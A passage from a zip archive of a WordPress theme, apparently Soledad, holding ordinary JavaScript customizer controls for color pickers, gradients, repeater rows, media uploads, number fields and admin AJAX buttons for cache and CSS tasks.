          // then we can continue processing, Otherwise there's no reason to do anything.
          if (selectValue === key) {
            // Each choice has an array of settings defined in it.
            // We'll have to loop through them all and apply the changes needed to them.
            $.each(value.settings, function (presetControl, presetSettingValue) {
              soledadSetSettingValue(presetControl, presetSettingValue);
            });
          }
        });
      });
    }
  });
})(jQuery, wp.customize);
PK     N\؇ba   a   E  inc/customizer/framework/assets/js/customizer-control/control-code.jsnu [        wp.customize.controlConstructor['soledad-fw-code'] = wp.customize.controlConstructor.code_editor;PK     N\S    L  inc/customizer/framework/assets/js/customizer-control/control-multi-check.jsnu [        wp.customize.controlConstructor['soledad-fw-multi-check'] = wp.customize.controlConstructor.default.extend({

    ready: function () {
        'use strict';

        jQuery('.customize-control-soledad-fw-multi-check input[type="checkbox"]').on('change', function () {
                var checkbox_values = jQuery(this).parents('.customize-control').find('input[type="checkbox"]:checked').map(
                    function () {
                        return this.value;
                    }
                ).get().join(',');

                jQuery(this).parents('.customize-control').find('input[type="hidden"]').val(checkbox_values).trigger('change');
            }
        );
    }
});
PK     N\DJ    G  inc/customizer/framework/assets/js/customizer-control/control-button.jsnu [        (function ($, api) {
    "use strict";

    api.controlConstructor['soledad-fw-button'] = api.controlConstructor.default.extend({
        ready: function () {
            'use strict';
            $('[data-type="render_separate_css"]').on('click', function (e) {
                var $this = $(this),
                    $nonce = $this.data('nonce'),
                    $ajaxurl = $this.data('ajaxurl');
                e.preventDefault();

                $this.removeClass('success').addClass('loading');

                $.ajax({
                    type: "post",
                    dataType: "json",
                    url: $ajaxurl,
                    data: {
                        action: "penci_render_separate_css_file",
                        _nonce: $nonce,
                    },
                    success: function () {
                        $this.removeClass('loading').addClass('success');
                    },
                    error: function (jqXHR, textStatus, errorThrown) {
                        console.log('The following error occured: ' + textStatus, errorThrown);
                    }
                });
            });

            $('[data-type="penci_speed_delete_cache"]').on('click', function (event) {
                var $this = $(this),
                    $nonce = $this.data('nonce'),
                    $ajaxurl = $this.data('ajaxurl'),
                    $parent = $this.closest('.customize-control');
                event.preventDefault();
                $(this).addClass('loading');
                $.ajax({
                    type: "post",
                    dataType: "json",
                    url: $ajaxurl,
                    data: {
                        action: "penci_speed_delete_cache",
                        _nonce: $nonce,
                    },
                    success: function () {
                        $this.removeClass('loading').addClass('success');
                        $parent.find('.description span.count').html(0);
                    },
                    error: function (jqXHR, textStatus, errorThrown) {
                        console.log('The following error occured: ' + textStatus, errorThrown);
                    }
                });
            });

            $('[data-type="penci_fix_polylang_translation"]').on('click', function (event) {
                var $this = $(this),
                    $nonce = $this.data('nonce'),
                    $ajaxurl = $this.data('ajaxurl'),
                    $parent = $this.closest('.customize-control');
                event.preventDefault();
                $(this).addClass('loading');
                $.ajax({
                    type: "post",
                    dataType: "json",
                    url: $ajaxurl,
                    data: {
                        action: "penci_fix_polylang_translation",
                        _nonce: $nonce,
                    },
                    success: function () {
                        $this.removeClass('loading').addClass('success');
                    },
                    error: function (jqXHR, textStatus, errorThrown) {
                        console.log('The following error occured: ' + textStatus, errorThrown);
                    }
                });
            });

        }
    });
})(jQuery, wp.customize);
PK     N\qΥQ_  _  I  inc/customizer/framework/assets/js/customizer-control/control-textarea.jsnu [        (function($, api){
  "use strict";

  api.controlConstructor['soledad-fw-textarea'] = api.controlConstructor.default.extend({
    ready: function() {
      var control = this;

      this.container.on( 'change click keyup paste', 'textarea', function() {
        control.setting.set( $( this ).val() );
      });
    }
  });
})(jQuery, wp.customize);
PK     N\N5  5  F  inc/customizer/framework/assets/js/customizer-control/control-color.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-color'] = api.controlConstructor.default.extend({

		ready: function() {
			var dispatch = this.dispatch.bind(this);
			dispatch();
		},

		dispatch: function(){
			var control = this;
			var picker  = control.container.find( '.soledad-fw-color-control');

			$( picker ).wpColorPicker();

			if ( undefined !== control.params.choices ) {
				picker.wpColorPicker( control.params.choices );
			}

			control.container.find('.wp-picker-clear').on('click', function(){
				setTimeout( function() {
					control.setting.set( picker.val() );
				}, 100 );
			});

			picker.wpColorPicker({
				change: function(){
					setTimeout( function() {
						control.setting.set( picker.val() );
					}, 100 );
				}
			});
		}

	});
})(jQuery, wp.customize);
PK     N\Z%j   j   F  inc/customizer/framework/assets/js/customizer-control/control-alert.jsnu [        wp.customize.controlConstructor['soledad-fw-alert'] = wp.customize.controlConstructor.default.extend({});
PK     N\za    J  inc/customizer/framework/assets/js/customizer-control/control-box-model.jsnu [        (function ($, api) {
    "use strict";

    api.controlConstructor['soledad-fw-box-model'] = api.controlConstructor.default.extend({
        ready: function () {
            'use strict';

            $(document).on('keyup', '.box-model-field', function () {
                var $parent = $(this).parents('.box-model-wrapper'),
                    $save_field = $parent.find('.box-model-saved'),
                    $input_fields = $parent.find('.box-model-field'),
                    saved_string = '';

                $input_fields.each(function () {
                    var $field = $(this);
                    var field_value = $.isNumeric($field.val()) ? parseInt($field.val(), 10) : '-';
                    if ($.isNumeric(field_value) || '-' === field_value) {
                        saved_string += field_value + ', ';
                    }
                });

                $save_field.val(saved_string.replace(/,\s*$/, "")).trigger('change');
            });

        }
    });
})(jQuery, wp.customize);
PK     N\w_!&  &  I  inc/customizer/framework/assets/js/customizer-control/control-gradient.jsnu [        wp.customize.controlConstructor['soledad-fw-gradient'] = wp.customize.controlConstructor.default.extend({

    ready: function() {
        'use strict';

        var control = this,
            value = {},
            beginpicker, endpicker,
            beginlocation, endlocation,
            renderLocation;

        // Make sure everything we're going to need exists.
        _.each( control.params['default'], function( defaultParamValue, param ) {
            if ( false !== defaultParamValue ) {
                value[ param ] = defaultParamValue;
                if ( undefined !== control.setting._value[ param ] ) {
                    value[ param ] = control.setting._value[ param ];
                }
            }
        });
        _.each( control.setting._value, function( subValue, param ) {
            if ( undefined === value[ param ] || 'undefined' === typeof value[ param ] ) {
                value[ param ] = subValue;
            }
        });

        renderLocation = function($range, location) {
            var thisInput,
                inputDefault,
                range_value,
                $reset = $range.closest( '.range' ).find('.soledad-fw-slider-reset');

            $range.on( 'mousedown', function() {
                jQuery( this ).mousemove( function() {
                    range_value = jQuery(this).val();
                    jQuery( this ).closest( '.range' ).find( '.soledad_fw_range_value .value' ).text( range_value );

                    value[location] = range_value;
                    control.saveValue( value );
                });
            });

            $range.on( 'click', function() {
                range_value = jQuery(this).val();
                jQuery( this ).closest( '.range' ).find( '.soledad_fw_range_value .value' ).text( range_value );
            });

            // Handle the reset button
            $reset.on( 'click', function() {
                thisInput    = jQuery( this ).closest( '.range' ).find( 'input' );
                inputDefault = thisInput.data( 'reset_value' );
                thisInput.val( inputDefault );
                thisInput.change();
                jQuery( this ).closest( '.range' ).find( '.soledad_fw_range_value .value' ).text( inputDefault );
            });
        };

        // Change color
        beginpicker = this.container.find( '.soledad-fw-begin-color' ).wpColorPicker({
            change: function() {
                setTimeout( function() {
                    value.begincolor = beginpicker.val();
                    control.saveValue( value );
                }, 100 );
            }
        });

        endpicker = this.container.find( '.soledad-fw-end-color' ).wpColorPicker({
            change: function() {
                setTimeout( function() {
                    value.endcolor = endpicker.val();
                    control.saveValue( value );
                }, 100 );
            }
        });

        // Range
        renderLocation(this.container.find( '.soledad-fw-range-begin input[type=range]' ), 'beginlocation', value);
        renderLocation(this.container.find( '.soledad-fw-range-end input[type=range]' ), 'endlocation', value);
        renderLocation(this.container.find( '.soledad-fw-range-degree input[type=range]' ), 'degree', value);
    },

    /**
     * Saves the value.
     */
    saveValue: function( value ) {
        'use strict';

        var control  = this,
            newValue = {};

        _.each( value, function( newSubValue, i ) {
            newValue[ i ] = newSubValue;
        });

        control.setting.set( newValue );
    }

});
PK     N\V  V  P  inc/customizer/framework/assets/js/customizer-control/control-radio-buttonset.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-radio-buttonset'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this;

			// Change the value
			this.container.on( 'click', 'input', function() {
				control.setting.set( $( this ).val() );
			});
		}
	});
})(jQuery, wp.customize);
PK     N\#lS^  ^  I  inc/customizer/framework/assets/js/customizer-control/control-repeater.jsnu [        /*jshint -W065 */
var RepeaterRow = function( rowIndex, container, label ) {
	'use strict';

	var self        = this;

	this.rowIndex   = rowIndex;
	this.container  = container;
	this.label      = label;
	this.header     = this.container.find( '.repeater-row-header' ),

		this.header.on( 'click', function() {
			self.toggleMinimize();
		});

	this.container.on( 'click', '.repeater-row-remove', function() {
		self.remove();
	});

	this.header.on( 'mousedown', function() {
		self.container.trigger( 'row:start-dragging' );
	});

	this.container.on( 'keyup change', 'input, select, textarea', function( e ) {
		self.container.trigger( 'row:update', [ self.rowIndex, jQuery( e.target ).data( 'field' ), e.target ] );
	});

	this.setRowIndex = function( rowIndex ) {
		this.rowIndex = rowIndex;
		this.container.attr( 'data-row', rowIndex );
		this.container.data( 'row', rowIndex );
		this.updateLabel();
	};

	this.toggleMinimize = function() {

		if ( this.container.hasClass( 'minimized' ) )
        {
            this.container.find('.repeater-row-content').slideDown('fast');
        } else {
            this.container.find('.repeater-row-content').slideUp('fast');
        }

		// Store the previous state.
		this.container.toggleClass( 'minimized' );
		this.header.find( '.dashicons' ).toggleClass( 'dashicons-arrow-up' ).toggleClass( 'dashicons-arrow-down' );
	};

	this.remove = function() {
		this.container.slideUp( 300, function() {
			jQuery( this ).detach();
		});
		this.container.trigger( 'row:remove', [ this.rowIndex ] );
	};

	this.updateLabel = function() {
		var rowLabelField,
			rowLabel;

		if ( 'field' === this.label.type ) {
			rowLabelField = this.container.find( '.repeater-field [data-field="' + this.label.field + '"]' );
			if ( 'function' === typeof rowLabelField.val ) {
				rowLabel = rowLabelField.val();
				if ( '' !== rowLabel ) {
					this.header.find( '.repeater-row-label' ).text( rowLabel );
					return;
				}
			}
		}
		this.header.find( '.repeater-row-label' ).text( this.label.value + ' ' + ( this.rowIndex + 1 ) );
	};

	this.updateLabel();
};

wp.customize.controlConstructor['soledad-fw-repeater'] = wp.customize.controlConstructor.default.extend({
	ready: function() {
		'use strict';

		var control = this,
			section = jQuery(this.container).parents('.control-section').first();

		var limit, theNewRow;

		// The current value set in Control Class (set in to_json() function)
		var settingValue = control.params.value;

		// The hidden field that keeps the data saved (though we never update it)
		control.settingField = control.container.find( '[data-customize-setting-link]' ).first();

		// Set the field value for the first time, we'll fill it up later
		control.setValue( [], false );

		// The DIV that holds all the rows
		control.repeaterFieldsContainer = control.container.find( '.repeater-fields' ).first();

		// Set number of rows to 0
		control.currentIndex = 0;

		// Save the rows objects
		control.rows = [];

		// Default limit choice
		limit = false;
		if ( undefined !== control.params.choices.limit ) {
			limit = ( 0 >= control.params.choices.limit ) ? false : parseInt( control.params.choices.limit );
		}

		control.container.on( 'click', 'button.repeater-add', function( e ) {
			e.preventDefault();
			if ( ! limit || control.currentIndex < limit ) {
				theNewRow = control.addRow();
				theNewRow.toggleMinimize();
				control.initColorPicker();
				control.initDropdownPages( theNewRow );
			} else {
				jQuery( control.selector + ' .limit' ).addClass( 'highlight' );
			}
		});

		control.container.on( 'click', '.repeater-row-remove', function( e ) {
			control.currentIndex--;
			if ( ! limit || control.currentIndex < limit ) {
				jQuery( control.selector + ' .limit' ).removeClass( 'highlight' );
			}
		});

		control.container.on( 'click keypress', '.repeater-field-image .upload-button,.repeater-field-cropped_image .upload-button,.repeater-field-upload .upload-button', function( e ) {
			e.preventDefault();
			control.$thisButton = jQuery( this );
			control.openFrame( e );
		});

		control.container.on( 'click keypress', '.repeater-field-image .remove-button,.repeater-field-cropped_image .remove-button', function( e ) {
			e.preventDefault();
			control.$thisButton = jQuery( this );
			control.removeImage( e );
		});

		control.container.on( 'click keypress', '.repeater-field-upload .remove-button', function( e ) {
			e.preventDefault();
			control.$thisButton = jQuery( this );
			control.removeFile( e );
		});

		/**
		 * Function that loads the Mustache template
		 */
		control.repeaterTemplate = _.memoize( function() {
			var compiled,
				/*
				 * Underscore's default ERB-style templates are incompatible with PHP
				 * when asp_tags is enabled, so WordPress uses Mustache-inspired templating syntax.
				 *
				 * @see trac ticket #22344.
				 */
				options = {
					evaluate: /<#([\s\S]+?)#>/g,
					interpolate: /\{\{\{([\s\S]+?)\}\}\}/g,
					escape: /\{\{([^\}]+?)\}\}(?!\})/g,
					variable: 'data'
				};

			return function( data ) {
				compiled = _.template( control.container.find( '.customize-control-repeater-content' ).first().html(), null, options );
				return compiled( data );
			};
		});

		// When we load the control, the fields have not been filled up
		// This is the first time that we create all the rows
		if ( settingValue.length ) {
			_.each( settingValue, function( subValue ) {
				theNewRow = control.addRow( subValue );
				control.initColorPicker();
				control.initDropdownPages( theNewRow, subValue );
			});
		}

		// Once we have displayed the rows, we cleanup the values
		control.setValue( settingValue, true, true );

		control.repeaterFieldsContainer.sortable({
			handle: '.repeater-row-header',
			update: function( e, ui ) {
				control.sort();
			}
		});

	},

	/**
	 * Open the media modal.
	 */
	openFrame: function( event ) {
		'use strict';

		if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) {
			return;
		}

		if ( this.$thisButton.closest( '.repeater-field' ).hasClass( 'repeater-field-cropped_image' ) ) {
			this.initCropperFrame();
		} else {
			this.initFrame();
		}

		this.frame.open();
	},

	initFrame: function() {

		'use strict';

		var libMediaType = this.getMimeType();
		var library = null;

		if (libMediaType === 'image') {
			library = wp.media.query({type: libMediaType})
		} else {
			library = wp.media.query({type: JSON.stringify(libMediaType.split(','))})
		}

		this.frame = wp.media({
			states: [
				new wp.media.controller.Library({
					library:  library,
					multiple: false,
					date:     false
				})
			]
		});

		// When a file is selected, run a callback.
		this.frame.on( 'select', this.onSelect, this );
	},
	/**
	 * Create a media modal select frame, and store it so the instance can be reused when needed.
	 * This is mostly a copy/paste of Core api.CroppedImageControl in /wp-admin/js/customize-control.js
	 */
	initCropperFrame: function() {

		'use strict';

		// We get the field id from which this was called
		var currentFieldId = this.$thisButton.siblings( 'input.hidden-field' ).attr( 'data-field' ),
			attrs          = [ 'width', 'height', 'flex_width', 'flex_height' ], // A list of attributes to look for
			libMediaType   = this.getMimeType();

		// Make sure we got it
		if ( 'string' === typeof currentFieldId && '' !== currentFieldId ) {

			// Make fields is defined and only do the hack for cropped_image
			if ( 'object' === typeof this.params.fields[ currentFieldId ] && 'cropped_image' === this.params.fields[ currentFieldId ].type ) {

				//Iterate over the list of attributes
				attrs.forEach( function( el, index ) {

					// If the attribute exists in the field
					if ( 'undefined' !== typeof this.params.fields[ currentFieldId ][ el ] ) {

						// Set the attribute in the main object
						this.params[ el ] = this.params.fields[ currentFieldId ][ el ];
					}
				}.bind( this ) );
			}
		}

		this.frame = wp.media({
			button: {
				text: 'Select and Crop',
				close: false
			},
			states: [
				new wp.media.controller.Library({
					library:         wp.media.query({ type: libMediaType }),
					multiple:        false,
					date:            false,
					suggestedWidth:  this.params.width,
					suggestedHeight: this.params.height
				}),
				new wp.media.controller.CustomizeImageCropper({
					imgSelectOptions: this.calculateImageSelectOptions,
					control: this
				})
			]
		});

		this.frame.on( 'select', this.onSelectForCrop, this );
		this.frame.on( 'cropped', this.onCropped, this );
		this.frame.on( 'skippedcrop', this.onSkippedCrop, this );

	},

	onSelect: function() {

		'use strict';

		var attachment = this.frame.state().get( 'selection' ).first().toJSON();

		if ( this.$thisButton.closest( '.repeater-field' ).hasClass( 'repeater-field-upload' ) ) {
			this.setFileInRepeaterField( attachment );
		} else {
			this.setImageInRepeaterField( attachment );
		}
	},

	/**
	 * After an image is selected in the media modal, switch to the cropper
	 * state if the image isn't the right size.
	 */

	onSelectForCrop: function() {

		'use strict';

		var attachment = this.frame.state().get( 'selection' ).first().toJSON();

		if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
			this.setImageInRepeaterField( attachment );
		} else {
			this.frame.setState( 'cropper' );
		}
	},

	/**
	 * After the image has been cropped, apply the cropped image data to the setting.
	 *
	 * @param {object} croppedImage Cropped attachment data.
	 */
	onCropped: function( croppedImage ) {

		'use strict';

		this.setImageInRepeaterField( croppedImage );

	},

	/**
	 * Returns a set of options, computed from the attached image data and
	 * control-specific data, to be fed to the imgAreaSelect plugin in
	 * wp.media.view.Cropper.
	 *
	 * @param {wp.media.model.Attachment} attachment
	 * @param {wp.media.controller.Cropper} controller
	 * @returns {Object} Options
	 */
	calculateImageSelectOptions: function( attachment, controller ) {

		'use strict';

		var control    = controller.get( 'control' ),
			flexWidth  = !! parseInt( control.params.flex_width, 10 ),
			flexHeight = !! parseInt( control.params.flex_height, 10 ),
			realWidth  = attachment.get( 'width' ),
			realHeight = attachment.get( 'height' ),
			xInit      = parseInt( control.params.width, 10 ),
			yInit      = parseInt( control.params.height, 10 ),
			ratio      = xInit / yInit,
			xImg       = realWidth,
			yImg       = realHeight,
			x1,
			y1,
			imgSelectOptions;

		controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );

		if ( xImg / yImg > ratio ) {
			yInit = yImg;
			xInit = yInit * ratio;
		} else {
			xInit = xImg;
			yInit = xInit / ratio;
		}

		x1 = ( xImg - xInit ) / 2;
		y1 = ( yImg - yInit ) / 2;

		imgSelectOptions = {
			handles:     true,
			keys:        true,
			instance:    true,
			persistent:  true,
			imageWidth:  realWidth,
			imageHeight: realHeight,
			x1:          x1,
			y1:          y1,
			x2:          xInit + x1,
			y2:          yInit + y1
		};

		if ( false === flexHeight && false === flexWidth ) {
			imgSelectOptions.aspectRatio = xInit + ':' + yInit;
		}
		if ( false === flexHeight ) {
			imgSelectOptions.maxHeight = yInit;
		}
		if ( false === flexWidth ) {
			imgSelectOptions.maxWidth = xInit;
		}

		return imgSelectOptions;
	},

	/**
	 * Return whether the image must be cropped, based on required dimensions.
	 *
	 * @param {bool} flexW
	 * @param {bool} flexH
	 * @param {int}  dstW
	 * @param {int}  dstH
	 * @param {int}  imgW
	 * @param {int}  imgH
	 * @return {bool}
	 */
	mustBeCropped: function( flexW, flexH, dstW, dstH, imgW, imgH ) {

		'use strict';

		if ( true === flexW && true === flexH ) {
			return false;
		}

		if ( true === flexW && dstH === imgH ) {
			return false;
		}

		if ( true === flexH && dstW === imgW ) {
			return false;
		}

		if ( dstW === imgW && dstH === imgH ) {
			return false;
		}

		if ( imgW <= dstW ) {
			return false;
		}

		return true;
	},

	/**
	 * If cropping was skipped, apply the image data directly to the setting.
	 */
	onSkippedCrop: function() {

		'use strict';

		var attachment = this.frame.state().get( 'selection' ).first().toJSON();
		this.setImageInRepeaterField( attachment );

	},

	/**
	 * Updates the setting and re-renders the control UI.
	 *
	 * @param {object} attachment
	 */
	setImageInRepeaterField: function( attachment ) {

		'use strict';

		var $targetDiv = this.$thisButton.closest( '.repeater-field-image,.repeater-field-cropped_image' );

		$targetDiv.find( '.soledad-fw-image-attachment' ).html( '<img src="' + attachment.url + '">' ).hide().slideDown( 'slow' );

		$targetDiv.find( '.hidden-field' ).val( attachment.id );
		this.$thisButton.text( this.$thisButton.data( 'alt-label' ) );
		$targetDiv.find( '.remove-button' ).show();

		//This will activate the save button
		$targetDiv.find( 'input, textarea, select' ).trigger( 'change' );
		this.frame.close();

	},

	/**
	 * Updates the setting and re-renders the control UI.
	 *
	 * @param {object} attachment
	 */
	setFileInRepeaterField: function( attachment ) {

		'use strict';

		var $targetDiv = this.$thisButton.closest( '.repeater-field-upload' );

		$targetDiv.find( '.soledad-fw-file-attachment' ).html( '<span class="file"><span class="dashicons dashicons-media-default"></span> ' + attachment.filename + '</span>' ).hide().slideDown( 'slow' );

		$targetDiv.find( '.hidden-field' ).val( attachment.id );
		this.$thisButton.text( this.$thisButton.data( 'alt-label' ) );
		$targetDiv.find( '.upload-button' ).show();
		$targetDiv.find( '.remove-button' ).show();

		//This will activate the save button
		$targetDiv.find( 'input, textarea, select' ).trigger( 'change' );
		this.frame.close();

	},

	getMimeType: function() {

		'use strict';

		// We get the field id from which this was called
		var currentFieldId = this.$thisButton.siblings( 'input.hidden-field' ).attr( 'data-field' ),
			attrs          = [ 'mime_type' ]; // A list of attributes to look for

		// Make sure we got it
		if ( 'string' === typeof currentFieldId && '' !== currentFieldId ) {

			// Make fields is defined and only do the hack for cropped_image
			if ( 'object' === typeof this.params.fields[ currentFieldId ] && 'upload' === this.params.fields[ currentFieldId ].type ) {

				// If the attribute exists in the field
				if ( 'undefined' !== typeof this.params.fields[ currentFieldId ].mime_type ) {

					// Set the attribute in the main object
					return this.params.fields[ currentFieldId ].mime_type;
				}
			}
		}

		return 'image';

	},

	removeImage: function( event ) {

		'use strict';

		var $targetDiv,
			$uploadButton;

		if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) {
			return;
		}

		$targetDiv = this.$thisButton.closest( '.repeater-field-image,.repeater-field-cropped_image,.repeater-field-upload' );
		$uploadButton = $targetDiv.find( '.upload-button' );

		$targetDiv.find( '.soledad-fw-image-attachment' ).slideUp( 'fast', function() {
			jQuery( this ).show().html( jQuery( this ).data( 'placeholder' ) );
		});
		$targetDiv.find( '.hidden-field' ).val( '' );
		$uploadButton.text( $uploadButton.data( 'label' ) );
		this.$thisButton.hide();

		$targetDiv.find( 'input, textarea, select' ).trigger( 'change' );

	},

	removeFile: function( event ) {

		'use strict';

		var $targetDiv,
			$uploadButton;

		if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) {
			return;
		}

		$targetDiv = this.$thisButton.closest( '.repeater-field-upload' );
		$uploadButton = $targetDiv.find( '.upload-button' );

		$targetDiv.find( '.soledad-fw-file-attachment' ).slideUp( 'fast', function() {
			jQuery( this ).show().html( jQuery( this ).data( 'placeholder' ) );
		});
		$targetDiv.find( '.hidden-field' ).val( '' );
		$uploadButton.text( $uploadButton.data( 'label' ) );
		this.$thisButton.hide();

		$targetDiv.find( 'input, textarea, select' ).trigger( 'change' );

	},

	/**
	 * Get the current value of the setting
	 *
	 * @return Object
	 */
	getValue: function() {

		'use strict';

		// The setting is saved in JSON
		return JSON.parse( decodeURI( this.setting.get() ) );

	},

	/**
	 * Set a new value for the setting
	 *
	 * @param newValue Object
	 * @param refresh If we want to refresh the previewer or not
	 */
	setValue: function( newValue, refresh, filtering ) {

		'use strict';

		// We need to filter the values after the first load to remove data requrired for diplay but that we don't want to save in DB
		var filteredValue = newValue,
			filter        = [];

		if ( filtering ) {
			jQuery.each( this.params.fields, function( index, value ) {
				if ( 'image' === value.type || 'cropped_image' === value.type || 'upload' === value.type ) {
					filter.push( index );
				}
			});
			jQuery.each( newValue, function( index, value ) {
				jQuery.each( filter, function( ind, field ) {
					if ( 'undefined' !== typeof value[field] && 'undefined' !== typeof value[field].id ) {
						filteredValue[index][field] = value[field].id;
					}
				});
			});

		}

		this.setting.set( encodeURI( JSON.stringify( filteredValue ) ) );

		if ( refresh ) {

			// Trigger the change event on the hidden field so
			// previewer refresh the website on Customizer
			this.settingField.trigger( 'change' );

		}

	},

	/**
	 * Add a new row to repeater settings based on the structure.
	 *
	 * @param data (Optional) Object of field => value pairs (undefined if you want to get the default values)
	 */
	addRow: function( data ) {

		'use strict';

		var control       = this,
			template      = control.repeaterTemplate(), // The template for the new row (defined on render_content() ).
			settingValue  = this.getValue(), // Get the current setting value.
			newRowSetting = {}, // Saves the new setting data.
			templateData, // Data to pass to the template
			newRow,
			i;

		if ( template ) {

			// The control structure is going to define the new fields
			// We need to clone control.params.fields. Assigning it
			// ould result in a reference assignment.
			templateData = jQuery.extend( true, {}, control.params.fields );

			// But if we have passed data, we'll use the data values instead
			if ( data ) {
				for ( i in data ) {
					if ( data.hasOwnProperty( i ) && templateData.hasOwnProperty( i ) ) {
						templateData[ i ]['default'] = data[ i ];
					}
				}
			}

			templateData.index = this.currentIndex;

			// Append the template content
			template = template( templateData );

			// Create a new row object and append the element
			newRow = new RepeaterRow(
				control.currentIndex,
				jQuery( template ).appendTo( control.repeaterFieldsContainer ),
				control.params.row_label
			);

			newRow.container.on( 'row:remove', function( e, rowIndex ) {
				control.deleteRow( rowIndex );
			});

			newRow.container.on( 'row:update', function( e, rowIndex, fieldName, element ) {
				control.updateField.call( control, e, rowIndex, fieldName, element );
				newRow.updateLabel();
			});

			// Add the row to rows collection
			this.rows[ this.currentIndex ] = newRow;

			for ( i in templateData ) {
				if ( templateData.hasOwnProperty( i ) ) {
					newRowSetting[ i ] = templateData[ i ]['default'];
				}
			}

			settingValue[ this.currentIndex ] = newRowSetting;
			this.setValue( settingValue, true );

			this.currentIndex++;

			return newRow;

		}

	},

	sort: function() {

		'use strict';

		var control     = this,
			$rows       = this.repeaterFieldsContainer.find( '.repeater-row' ),
			newOrder    = [],
			settings    = control.getValue(),
			newRows     = [],
			newSettings = [];

		$rows.each( function( i, element ) {
			newOrder.push( jQuery( element ).data( 'row' ) );
		});

		jQuery.each( newOrder, function( newPosition, oldPosition ) {
			newRows[ newPosition ] = control.rows[ oldPosition ];
			newRows[ newPosition ].setRowIndex( newPosition );

			newSettings[ newPosition ] = settings[ oldPosition ];
		});

		control.rows = newRows;
		control.setValue( newSettings );

	},

	/**
	 * Delete a row in the repeater setting
	 *
	 * @param index Position of the row in the complete Setting Array
	 */
	deleteRow: function( index ) {

		'use strict';

		var currentSettings = this.getValue(),
			row,
			i,
			prop;

		if ( currentSettings[ index ] ) {

			// Find the row
			row = this.rows[ index ];
			if ( row ) {

				// The row exists, let's delete it

				// Remove the row settings
				delete currentSettings[ index ];

				// Remove the row from the rows collection
				delete this.rows[ index ];

				// Update the new setting values
				this.setValue( currentSettings, true );

			}

		}

		// Remap the row numbers
		i = 1;
		for ( prop in this.rows ) {
			if ( this.rows.hasOwnProperty( prop ) && this.rows[ prop ] ) {
				this.rows[ prop ].updateLabel();
				i++;
			}
		}

	},

	/**
	 * Update a single field inside a row.
	 * Triggered when a field has changed
	 *
	 * @param e Event Object
	 */
	updateField: function( e, rowIndex, fieldId, element ) {

		'use strict';

		var type,
			row,
			currentSettings;

		if ( ! this.rows[ rowIndex ] ) {
			return;
		}

		if ( ! this.params.fields[ fieldId ] ) {
			return;
		}

		type            = this.params.fields[ fieldId].type;
		row             = this.rows[ rowIndex ];
		currentSettings = this.getValue();

		element = jQuery( element );

		if ( undefined === typeof currentSettings[ row.rowIndex ][ fieldId ] ) {
			return;
		}

		if ( 'checkbox' === type ) {

			currentSettings[ row.rowIndex ][ fieldId ] = element.is( ':checked' );

		} else {

			// Update the settings
			currentSettings[ row.rowIndex ][ fieldId ] = element.val();

		}
		this.setValue( currentSettings, true );

	},

	/**
	 * Init the color picker on color fields
	 * Called after AddRow
	 *
	 */
	initColorPicker: function() {

		'use strict';

		var control     = this,
			colorPicker = control.container.find( '.color-picker-hex' ),
			options     = {},
			fieldId     = colorPicker.data( 'field' );

		// We check if the color palette parameter is defined.
		if ( 'undefined' !== typeof fieldId && 'undefined' !== typeof control.params.fields[ fieldId ] && 'undefined' !== typeof control.params.fields[ fieldId ].palettes && 'object' === typeof control.params.fields[ fieldId ].palettes ) {
			options.palettes = control.params.fields[ fieldId ].palettes;
		}

		// When the color picker value is changed we update the value of the field
		options.change = function( event, ui ) {

			var currentPicker   = jQuery( event.target ),
				row             = currentPicker.closest( '.repeater-row' ),
				rowIndex        = row.data( 'row' ),
				currentSettings = control.getValue();

			currentSettings[ rowIndex ][ currentPicker.data( 'field' ) ] = ui.color.toString();
			control.setValue( currentSettings, true );

		};

		// Init the color picker
		if ( 0 !== colorPicker.length ) {
			colorPicker.wpColorPicker( options );
		}

	},

	/**
	 * Init the dropdown-pages field with selectize
	 * Called after AddRow
	 *
	 * @param {object} theNewRow the row that was added to the repeater
	 * @param {object} data the data for the row if we're initializing a pre-existing row
	 *
	 */
	initDropdownPages: function( theNewRow, data ) {

		'use strict';

		var control  = this,
			dropdown = theNewRow.container.find( '.repeater-dropdown-pages select' ),
			$select,
			selectize,
			dataField;

		if ( 0 === dropdown.length ) {
			return;
		}

		$select   = jQuery( dropdown ).selectize();
		selectize = $select[0].selectize;
		dataField = dropdown.data( 'field' );

		if ( data ) {
			selectize.setValue( data[dataField] );
		}

		this.container.on( 'change', '.repeater-dropdown-pages select', function( event ) {

			var currentDropdown = jQuery( event.target ),
				row             = currentDropdown.closest( '.repeater-row' ),
				rowIndex        = row.data( 'row' ),
				currentSettings = control.getValue();

			currentSettings[ rowIndex ][ currentDropdown.data( 'field' ) ] = jQuery( this ).val();
			control.setValue( currentSettings );

		});

	}

});
PK     N\ 3  3  F  inc/customizer/framework/assets/js/customizer-control/control-image.jsnu [        (function($, api){
  "use strict";

  api.controlConstructor['soledad-fw-image'] = api.ImageControl.extend({
    initialize: function( id, options ) {
      api.Control.prototype.initialize.call( this, id, options );
      window.initializeControl(this, id, options);
    },
  });
})(jQuery, wp.customize);
PK     N\4-B+5  5  G  inc/customizer/framework/assets/js/customizer-control/control-upload.jsnu [        (function($, api){
  "use strict";

  api.controlConstructor['soledad-fw-upload'] = api.UploadControl.extend({
    initialize: function( id, options ) {
      api.Control.prototype.initialize.call( this, id, options );
      window.initializeControl(this, id, options);
    },
  });
})(jQuery, wp.customize);
PK     N\%,  ,  G  inc/customizer/framework/assets/js/customizer-control/control-number.jsnu [        wp.customize.controlConstructor['soledad-fw-number'] = wp.customize.controlConstructor.default.extend({

	ready: function() {
		'use strict';

		var control = this,
		    element = this.container.find( 'input' ),
		    min     = -99999,
		    max     = 99999,
		    step    = 1;

		// Set minimum value.
		if ( 'undefined' !== typeof control.params.choices && 'undefined' !== typeof control.params.choices.min ) {
			min = control.params.choices.min;
		}

		// Set maximum value.
		if ( 'undefined' !== typeof control.params.choices && 'undefined' !== typeof control.params.choices.max ) {
			max = control.params.choices.max;
		}

		// Set step value.
		if ( 'undefined' !== typeof control.params.choices && 'undefined' !== typeof control.params.choices.step ) {
			step = control.params.choices.step;
